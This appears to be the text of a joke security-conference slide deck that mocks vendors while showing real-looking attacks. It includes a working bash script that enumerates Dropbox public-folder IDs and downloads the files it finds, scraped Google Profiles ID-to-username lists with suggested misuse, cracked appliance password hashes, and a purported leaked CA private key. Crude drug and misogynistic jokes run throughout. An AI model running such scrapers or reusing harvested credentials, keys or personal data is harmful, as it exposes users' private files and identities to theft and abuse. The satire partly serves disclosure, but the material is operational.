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Security 
Industry



  

Do you remember the last year?

We got a call..
(It was Jezù)



  

This year..

The telephone 
ringed again



  

We had to act quickly!

R&D Super department
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Dropbox 1/5

● Dropbox is a corrugated box where files 
are stored

● It allows private and public folders
● Public is public
● Security is also about user perceptions
● Users were found to be dumb

● 0.01%, 8% also 9%, perhaps 10%



  

Dropbox 2/5

● We spidered for well known files and 
applied our well known 
NeuralNetworkInculage™ corporate 
enterprise patented legacy industry 
standard algorithm

● Found that 0.01% of users had a file 
called “Screenshot.png” in their home



  

Dropbox 3/5

Results



  

Dropbox 4/5

● NeuralNetworkInculage™ uses 
advanced biological processing with 
laboratory rats in clusters of 1K to 
automatically deduce and predict 
other potentially present files

● “Screenshot.png” → “Screenshot-1.png”

● “.bash_history”, “password.txt”

● “My wife is a bitch.3gp”, “Killing the hated project 
manager.pdf”



  

Dropbox 5/5
#!/bin/bash

search="Screenshot.png"

[ `pidof xargs` ] && kill -9 `pidof xargs`

rm -rf out/

mkdir out/

from=$1

to=$2

let max=to-from

echo "Spidering from $from to $to ($max).."

seq $from $to | xargs -P 10 -I "{}" curl -s -I "http://dl.dropbox.com/u/{}/$search" -o "out/curl_{}.txt" &

echo -en "Spider: "

i=0

while [ 1 ]; do

let i=i+1

[ $i -gt 50 ] && break;

COUNT=`ls out/ | wc -l`;

echo -n "$(( ($COUNT*100/$max)+1 ))% ";

[ $COUNT -gt $max ] || [ $COUNT -eq $max ] && break;

sleep 5;

done

echo "Done!";

grep "HTTP/1.1 404 NOT FOUND" out/ -R | cut -d ":" -f1 | xargs -I '{}' rm "{}";

ls out/ | cut -d "_" -f2 | cut -d "." -f1 | xargs -I "{}" echo "http://dl.dropbox.com/u/{}/$search" >> found.txt.tmp;

cat found.txt.tmp | while read file; do wget -nv -nc "$file" -O "dwl/`echo "$file" | sed "s/\//_/g;s/:/_/g"`"; done;

cat found.txt.tmp >> found.txt;

rm found.txt.tmp;

sort -u found.txt > found.txt.unique;

mv found.txt.unique found.txt;

SOURCE CODE 

INCLUDED!!!1



  

Dropping code?

http://news.cnet.com/8301-31921_3-20072755-281/dropbox-confirms-
security-glitch-no-password-required/

By Declan McCullagh - Privacy, Inc. - CNet News - June 20, 2011

Web-based storage firm Dropbox confirmed this afternoon that a 
programmer's error caused a temporary security breach that allowed any 
password to be used to access any user account.

The San Francisco-based start-up attributed the security breach to a "code update" that 
"introduced a bug affecting our authentication mechanism." Access without passwords was 
possible between 1:54pm PT and 5:46pm PT yesterday, the company said.

"This should never have happened," Dropbox co-founder and CTO Arash Ferdowsi said in a blog 
post. "We are scrutinizing our controls and we will be implementing additional safeguards to 
prevent this from happening again."





  

Google Profiles 2/5

$ ls lah

total 1.1G

drwx  3 x x 4.0K 20110903 19:38 .

drwx 63 x x 4.0K 20110831 23:52 ..

drwxrxrx  2 x x 576K 20110524 19:14 
profilessitemap

rw  1 x x 1.1G 20110524 20:20 
profilessitemap.tgz



  

Google Profiles 3/5

$ head n5 sitemap305.txt 

https://profiles.google.com/113230935059988885826

https://profiles.google.com/115899501068519396128

https://profiles.google.com/118039526516217214566

https://profiles.google.com/111283694595792999347

https://profiles.google.com/106754838576199029344



  

Google Profiles 4/5

$ cat names_sitemap3056.txt.txt | head n5

https://profiles.google.com/110118772064961474169   
    https://profiles.google.com/sebastian.talg

https://profiles.google.com/101007015506121302201   
    https://profiles.google.com/monmonwan

https://profiles.google.com/109936607358216861537   
    https://profiles.google.com/amygoodhead

https://profiles.google.com/114412261552580591683   
    https://profiles.google.com/nandamelofranco

https://profiles.google.com/116360617030568827044   
    https://profiles.google.com/msivaprasad9490



  

Google Profiles 5/5

You get a database of linked URLs

Executive - “Suggested workflows”

Option A) See photos of university girls 
(according to the Angola's Age of Consent if the 
fact is performed in Angola by Angolian 
RingoBongo™ employees)

Option B) Profit (mostly Russia and Ukraine)

THIS STATEMENT IS SAFE HARBOR COMPLIANT



  

Neteye Appliance 1/3

● Enterprise GradeEnterprise Grade
● Same shadow file on every device to ensure Same shadow file on every device to ensure 

the maximum compatibility with legacy systems the maximum compatibility with legacy systems 
and data integrityand data integrity
● Resolves the trouble of backups (!!)Resolves the trouble of backups (!!)
● Free sysadmins from the ungrateful task of Free sysadmins from the ungrateful task of 

enforcing passwordsenforcing passwords
– (Also Cheif Tony uses Neteye to improve Miracle Blade)(Also Cheif Tony uses Neteye to improve Miracle Blade)



  

Neteye Appliance 2/3
0:00:00:00 Starting a new session

0:00:00:00 Loaded a total of 8 password 
hashes with no different salts

0:00:00:00 Remaining 8 password hashes 
with no different salts

0:00:00:00  Hash type: LM DES (lengths up 
to 7, longer passwords split)

0:00:00:00  Algorithm: 64/64 BS

0:00:00:00  Candidate passwords will be 
buffered and tried in chunks of 64

“Samba team are proud to announce a business agreement with 
Neteye” – Simo Sorce, Samba TDB Backend Lead Developer



  

Neteye Appliance 3/3

$LM$aad3b435b51404ee:
rZI.lRvIWL4pQ:guest

X/8Q1OoWZHlfk:neteye

rZQWqPg5VEDJc:admin

RZQWlS3b4g4y!:specialist



  

Hash cracking...

After ~2 years of intense coding activity …

<image censured>

… we found a new way for increase the 
performance of our Graphic Processing Unitz !!!

(when heroin is finished)



  

... and GPU Doping :)

●

... and GPU Doping :)

“SONO SERENO”

– 60years of expertise
in drug abuse



  

How we can go faster with

ATI gpu

and

“Pasta del Capitano”?

SLURP AGAIN, RingoBongo™ uses Creator3D instead 
of ATI because we trust Sparc technology.



  

HD 6970

ATI Gpu used for benchmarking md5 / sha1

I'm lovin it



  

HD 6970 MD5

oclHashcat-lite …...... 5483.6 M/s
our results …............. 5631.4 M/s 



  

HD 6970 SHA1

            oclHashcat-lite
                1950.5 M/s

RingoBongo™ specialist results
                 2008.4 M/s 

                   Captain results
 (with methamorphic elliptic curve tech.)
                    1,333333 TF/s



  

No public questions accepted :-P

No others gpu toolz go faster than hashninja and oclHashcat
Special thankz to atom, brother and developer of hashcat cracking suite

~



  

www.certigna.fr 1/5

● Certigna is a Certificate Authority
● In order to improve security they published the 

root CA in the same directory where the public 
CA was disposable to users

● The file was then promptly removed
● But a guy wrote an article that contained an 

obfuscated image of the key



  

www.certigna.fr 2/5



  

www.certigna.fr 3/5

● R&D discovered that the effect was “Pixelize”, a 
Gimp filter

● Two hours later the Development team upload the 
anti-effect-bruteforcer python program, Revision 
7.8.33, on the corporate Version Revision System, 
located under “C:\Inetpub\”

● AntiEffectBrutality™ is able to reverse text in 
Pixelized images, given the Font Family, to the  
original text
● Many thanks to Steve Jobs for his calligraphy memo on 

iTunes



  

www.certigna.fr 4/5



  

www.certigna.fr 5/5
Bag Attributes

    localKeyID: 46 F3 7A C0 95 A2 B1 F3 E8 B2 07 46 25 E9 0F 4F 9A 8E 17 C9 

Key Attributes: <No Attributes>

BEGIN RSA PRIVATE KEY

ProcType: 4,ENCRYPTED

DEKInfo: DESEDE3CBC,4B2B22A59E388F38

9apLLxgnIBAhIsc1B53GfRmZhZkhpMq37TFV0fnoSD3yBbPTkue9FrykyE+ZG6vj

jYB0aWLl/a+Bxt/G0bFChNemplMZnhD27bS7a+rVxhZQ/kdALOgMoCEzdexky5QB

NtZAJmb+yHcBIt0pzkbkHdR5Jn65mU/GQW48SNKdzkz7NOshsy4sPu4DD9uzof2/

AIsZ26yy880zreNNQuobyc61btWwEYsxwV8raLtcD5cpIcy7aUG4m7f+8OAP56Xe

mR+4h29u4AAu1NGTpLBH1neV/+1mwxdmkMkAZifoTqf9/5AMiBmf1b5Ep1DRUDzv

ZJ/OJo8vsE4XKn7L+d8Idz4/rBLtbWHYCI5/ksBNncBozY2HpW5VA8gxFsKyaA4O

kJLn6fP2ARlRu7YeroitmkGiiJgR8aKKK264AACVxh70YMonOtj3iTal1QThMs5e

cXm8tXtq9OnSOGV2rQIYDcHCfAX6dWAGvEatyhyTxsYAqj0L1GTN+54Br6ZmkdDT

g6yLgXNo79u4361iTynfnnsrngLI53f0LRAt2ScQ2ugqB4dDXLSiG6FmvMMsMtW3

Kz/W/YElDfeATMQ6060s98sWOuTmRfXaxTG4sqr8sZAPKqPTMCaHM5QvD2+IsHz7

2CBuaQQh2MM4Twf05xtjS4r7I+xCfMquSFY1CYkAYfUSScY2EhxxVQTbWIa0WbYo

IsbVcZnel08qVgCSGAiAKlU6Z24SVvWmRRPme9alnduusWrC7ZrOupaiTyoWeG1e

8XaYeklqpsUnjHFPnMi6DaGrZa5ki4n7ELOkcMOksGVMV3+Eiq5mTw==

END RSA PRIVATE KEY

I HAVE SEEN THINGS THAT PEOPLE WOULDN'T 
BELIEVE, ATTACK SHIPS ON BASTIONS OF SSL
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Thanks

By consultants on the moon!
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